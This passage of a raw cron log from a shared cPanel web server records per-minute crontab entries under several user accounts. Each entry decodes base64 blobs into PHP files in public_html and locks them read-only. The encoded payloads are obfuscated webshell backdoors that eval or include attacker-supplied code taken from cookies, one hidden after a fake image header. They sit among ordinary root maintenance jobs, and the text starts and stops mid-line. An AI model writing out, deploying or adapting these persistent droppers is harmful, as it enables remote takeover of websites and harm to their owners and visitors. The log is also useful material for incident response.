ZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:01:01 medusa CROND[32058]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:01:01 medusa CROND[32064]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:01:01 medusa CROND[32065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:01:01 medusa CROND[32068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:01:01 medusa run-parts(/etc/cron.hourly)[32052]: starting 0anacron
Mar  2 10:01:01 medusa run-parts(/etc/cron.hourly)[32119]: finished 0anacron
Mar  2 10:02:01 medusa CROND[17425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:02:02 medusa CROND[17706]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:02:02 medusa CROND[17708]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:02:02 medusa CROND[17711]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:02:02 medusa CROND[17713]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:02:02 medusa CROND[17714]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:02:02 medusa CROND[17712]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:02:02 medusa CROND[17716]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:02:02 medusa CROND[17719]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:02:02 medusa CROND[17720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:02:02 medusa CROND[17722]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:02:02 medusa CROND[17725]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:02:02 medusa CROND[17742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:03:01 medusa CROND[28174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:03:01 medusa CROND[28349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:03:01 medusa CROND[28351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:03:01 medusa CROND[28353]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:03:01 medusa CROND[28360]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:03:01 medusa CROND[28364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:03:01 medusa CROND[28366]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:03:01 medusa CROND[28372]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5Ow